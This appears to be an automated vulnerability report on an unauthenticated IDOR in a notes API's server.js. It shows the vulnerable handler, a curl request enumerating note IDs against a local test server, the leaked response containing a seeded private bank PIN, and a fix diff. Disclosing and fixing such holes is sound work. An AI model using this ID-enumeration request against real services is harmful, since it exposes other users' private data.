Unauthenticated IDOR on /api/notes exposes private notes (PII/financial secrets)
auth-bypass · server.js:48-53
15b34d5cc6 by 42nights on 2026-06-03Summary
The /api/notes handler at server.js:48 resolves a note solely by the user-supplied numeric `id` query parameter and returns the full note object, including notes flagged `private: true`. There is no session check, no owner check against the requester, and no filtering of records by visibility. A direct request for `?id=2` returned alice's private note containing a bank PIN, confirming the bypass.
Impact. Any unauthenticated remote attacker can enumerate note IDs (1, 2, 3, ...) and read every user's notes, including secrets explicitly marked private such as bank PINs and SSNs. This is a full confidentiality breach of user data with no credentials, rate limit, or access control standing in the way.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/notes") {🔴 const id = Number(q.id || 1);🔴 const note = NOTES.find((n) => n.id === id);🔴 if (!note) return send(res, 404, "no such note");🔴 return send(res, 200, JSON.stringify(note), "application/json");🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/notes?id=2'
Exploit transcript
HTTP 200 Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}Confirmed: HTTP 200 application/json body: {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true} returned without any Authorization header or session cookie.
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 (high)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Require an authenticated session and enforce ownership / visibility before returning the note:
```diff
if (parsed.pathname === "/api/notes") {
+ const user = getSessionUser(req); // however auth is established
+ if (!user) return send(res, 401, "authentication required");
const id = Number(q.id || 1);
const note = NOTES.find((n) => n.id === id);
if (!note) return send(res, 404, "no such note");
+ if (note.private && note.owner !== user.name) {
+ return send(res, 403, "forbidden");
+ }
return send(res, 200, JSON.stringify(note), "application/json");
}
```
Also consider returning 404 instead of 403 to avoid ID enumeration, and using opaque IDs.Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.